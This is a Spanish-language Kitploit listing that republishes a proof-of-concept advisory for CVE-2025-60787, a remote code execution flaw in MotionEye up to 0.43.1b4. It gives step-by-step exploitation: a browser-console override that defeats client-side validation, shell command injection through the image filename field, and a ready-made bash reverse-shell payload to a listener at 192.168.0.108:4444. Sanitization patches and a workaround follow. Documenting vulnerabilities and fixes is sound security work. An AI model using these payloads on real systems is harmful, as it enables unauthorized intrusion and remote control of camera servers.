Skip to content
KitploitKITPLOIT
HerramientasBlog
Enviar
HerramientasBlog
Enviar

¡Herramientas de Hacking, PenTest y Ciberseguridad para tu Arsenal de Seguridad!

Kitploit es un directorio de herramientas de hacking, ciberseguridad y pentesting. Descubre las últimas actualizaciones de proyectos para encontrar vulnerabilidades, analizar sistemas, automatizar pruebas y fortalecer tu seguridad.

··Feeds·Contacto·Privacidad·© 2026 Kitploit

Directorio de Herramientas

Categorías

Ver todas las categorías
Loading categories
CVE-2025-60787 — Prueba de concepto para CVE-2025-60787, que demuestra la ejecución remota de código en MotionEye <= 0.43.1b4 mediante la omisión de la validación del lado del cliente y la inyección de comandos en el nombre del archivo de imagen. | Kitploit
Herramientas/GitHubGitHub/prabhatverma47/cve-2025-60787
Análisis de VulnerabilidadesAnálisis de CódigoExplotaciónExplotación de Aplicaciones WebPruebas de PenetraciónRed Teaming
GitHubprabhatverma47/cve-2025-60787

CVE-2025-60787

Prueba de concepto para CVE-2025-60787, que demuestra la ejecución remota de código en MotionEye <= 0.43.1b4 mediante la omisión de la validación del lado del cliente y la inyección de comandos en el nombre del archivo de imagen.

Ver Repositorio
hace 10 mesesAún no revisado

Más Populares

Ver todos →

Descubre las herramientas más usadas por nuestra comunidad.

Explora todas las herramientas

Explora nuestra colección de herramientas

Ver todas las herramientas →
Compartir

CVE-2025-60787

CVE-2025-60787 Poc - RCE - MotionEye <= 0.43.1b4
Enlace original: https://github.com/prabhatverma47/motionEye-RCE-through-config-parameter

MotionEye RCE mediante omisión de validación del lado del cliente

Resumen

Durante las pruebas de seguridad de una instancia de MotionEye ejecutándose en Docker, se observó que la validación del lado del cliente dentro de la interfaz web puede omitirse. Esto permite enviar entradas arbitrarias, incluidos payloads que pueden desencadenar la ejecución en el contenedor host. El problema representa un riesgo de ejecución remota de código (RCE) si se explota.

Versiones afectadas: Todas las versiones hasta la 0.43.1b4 inclusive
Estado del parche: Aún no hay parche disponible. En este aviso se proporciona una solución alternativa.
Referencia del proyecto: https://github.com/motioneye-project/motioneye
CWE: CWE-20, CWE-78, CWE-116
CVSS:3.1/AV:N/AC:L/PR:H/UI:N/S:U/C:H/I:H/A:H
CVSS: 7.2/10


Entorno

  • Objetivo: MotionEye ejecutándose en Docker
  • Imagen: ghcr.io/motioneye-project/motioneye:edge
  • Puerto expuesto: 9999 mapeado al puerto 8765 del contenedor
  • Credenciales de prueba: admin / contraseña en blanco (predeterminada)

  • Pasos para reproducir

    1. Configuración del contenedor

    Ejecute el siguiente comando para iniciar la descarga de la imagen de Docker y arrancar el contenedor

    root@kitploit:~
    docker run -d --name motioneye -p 9999:8765 ghcr.io/motioneye-project/motioneye:edge
    
    image

    2. Verificación de la versión

    root@kitploit:~
    docker logs motioneye | grep "motionEye server"
    

    Resultado: Servidor MotionEye 0.43.1b4 image

    3. Acceso al sistema de archivos

    Una vez que el contenedor de Docker esté en ejecución, se puede acceder al shell del contenedor con los siguientes comandos

    root@kitploit:~
    docker exec -it motioneye /bin/bash
    ls -la /tmp
    
    image

    4. Acceso inicial

    Acceda a la interfaz web en:
    http://127.0.0.1:9999
    Inicie sesión: admin (contraseña en blanco)

    5. Configuración de la cámara

    Se añadió una cámara de red RTSP de muestra.
    image

    6. Intento de inyección

    Se introdujo un comando de ejecución malicioso en "Imágenes fijas" > "Nombre de archivo de imagen", pero se encontró un error de validación del lado del cliente.

    root@kitploit:~
    $(touch /tmp/test).%Y-%m-%d-%H-%M-%S
    

    Bloqueado por la validación del lado del cliente.
    image

    image

    7. Descubrimiento de la validación del lado del cliente

    El siguiente script es el responsable de la validación: /static/js/main.js?v=0.43.1b4, que hace referencia a /static/js/ui.js?v=0.43.1b4 para implementar las condiciones de validación.

    Archivo: /static/js/main.js?v=0.43.1b4 que hace referencia a /static/js/ui.js?v=0.43.1b4

    root@kitploit:~
    function configUiValid() {
        $('div.settings').find('.validator').each(function () { this.validate(); });
        var valid = true;
        $('div.settings input, select').each(function () {
            if (this.invalid) { valid = false; return false; }
        });
        return valid;
    }
    

    8. Técnica de omisión

    Al sobrescribir la función configUiValid en la consola del navegador, se pueden omitir todas las comprobaciones de validación: Introduzca el siguiente fragmento en la consola del navegador (F12 o Ctrl+Shift+I)

    root@kitploit:~
    configUiValid = function() { 
        return true; 
    };
    
    image

    9. Ejecución del payload

    Ahora el payload se puede introducir directamente sin ninguna validación: configúrelo como se indica a continuación y aplique los ajustes

    Ajustes:

    • Modo de captura = Instantáneas por intervalo
    • Intervalo = 10
    • Nombre de archivo de imagen:
    root@kitploit:~
    $(touch /tmp/test).%Y-%m-%d-%H-%M-%S
    
    image

    Aplicado → Archivo creado con permisos de root.

    image

    Impacto: Armamento del RCE

    producción de reverse shell simple:

    Receptor:

    root@kitploit:~
    nc -lvnp 4444
    
    image

    Payload inyectado:

    root@kitploit:~
    $(python3 -c "import os;os.system('bash -c \"bash -i >& /dev/tcp/192.168.0.108/4444 0>&1\"')").%Y-%m-%d-%H-%M-%S
    
    image

    Resultado: Se obtuvo un shell remoto.


    Causa raíz y flujo

    MotionEye es vulnerable porque toma la entrada del usuario del panel web y la escribe directamente en los archivos de configuración de Motion sin comprobar si hay caracteres peligrosos. Por ejemplo, el campo image_file_name de la interfaz se envía al backend (config.py) y se guarda en /etc/motioneye/camera-.conf. Cuando MotionEye reinicia el servicio Motion (motionctl.start), el proceso Motion lee este archivo de configuración. Si el campo picture_filename contiene sintaxis de shell como $(touch /tmp/test), Motion lo ejecutará como un comando real en lugar de tratarlo como parte del nombre de archivo.

    Entrada sin sanitizar escrita en los archivos de configuración de Motion:
    Dashboard JS → ConfigHandler.set_config() → camera-1.conf → motionctl.restart() → motion analiza picture_filename → ejecuta el payload


    Prevención

    Corrección de sanitización

    Archivo: /usr/local/lib/python3.13/dist-packages/motioneye/config.py

    root@kitploit:~
    def sanitize_filename(value):
        # allow only letters, numbers, %, _, -, /, .
        for ch in value:
            if not (ch.isalnum() or ch in "%-_/."):
                return "%Y-%m-%d/%H-%M-%S"  # safe fallback
        return value
    
    image

    Aplicar la sanitización:

    root@kitploit:~
    data['picture_filename']  = sanitize_filename(ui['image_file_name'])
    data['snapshot_filename'] = sanitize_filename(ui['image_file_name'])
    

    antes: image después: image


    Resolución alternativa

    Paso 1: Ejecutar Docker

    root@kitploit:~
    docker run -d --name motioneye -p 9999:8765 ghcr.io/motioneye-project/motioneye:edge
    

    Paso 2: Acceder al contenedor

    root@kitploit:~
    docker exec -it motioneye /bin/bash
    docker cp motioneye:/usr/local/lib/python3.13/dist-packages/motioneye/config.py ./config.py
    docker cp ./Mconfig.py motioneye:/usr/local/lib/python3.13/dist-packages/motioneye/config.py
    

    Paso 3: Modificar la configuración

    Original:

    root@kitploit:~
    on_event_start = [f"{meyectl.find_command('relayevent')} start %t"]
    on_event_end = [f"{meyectl.find_command('relayevent')} stop %t"]
    on_movie_end = [f"{meyectl.find_command('relayevent')} movie_end %t %f"]
    on_picture_save = [f"{meyectl.find_command('relayevent')} picture_save %t %f"]
    

    Reemplazar por:

    root@kitploit:~
    import re
    
    on_event_start  = [f"{meyectl.find_command('relayevent')} start '{re.sub(r'[;&|$`()<>\"\\' ]', '', '%t')}'"]
    on_event_end    = [f"{meyectl.find_command('relayevent')} stop '{re.sub(r'[;&|$`()<>\"\\' ]', '', '%t')}'"]
    on_movie_end    = [f"{meyectl.find_command('relayevent')} movie_end '{re.sub(r'[;&|$`()<>\"\\' ]', '', '%t')}' '{re.sub(r'[;&|$`()<>\"\\' ]', '', '%f')}'"]
    on_picture_save = [f"{meyectl.find_command('relayevent')} picture_save '{re.sub(r'[;&|$`()<>\"\\' ]', '', '%t')}' '{re.sub(r'[;&|$`()<>\"\\' ]', '', '%f')}'"]
    
    image

    Paso 4: Reiniciar

    root@kitploit:~
    docker restart motioneye
    
    image

    Parche alternativo

    Dentro de motion_camera_ui_to_dict(...):

    Original:

    root@kitploit:~
    data['picture_filename'] = ui['image_file_name']
    data['snapshot_filename'] = ui['image_file_name']
    

    Reemplazar por:

    root@kitploit:~
    from re import sub
    data['picture_filename']  = (sub(r'[^A-Za-z0-9._%/-]', '_', ui['image_file_name']).lstrip('/') or '%Y-%m-%d/%H-%M-%S')
    data['snapshot_filename'] = (sub(r'[^A-Za-z0-9._%/-]', '_', ui['image_file_name']).lstrip('/') or '%Y-%m-%d/%H-%M-%S')
    

    Descargar herramienta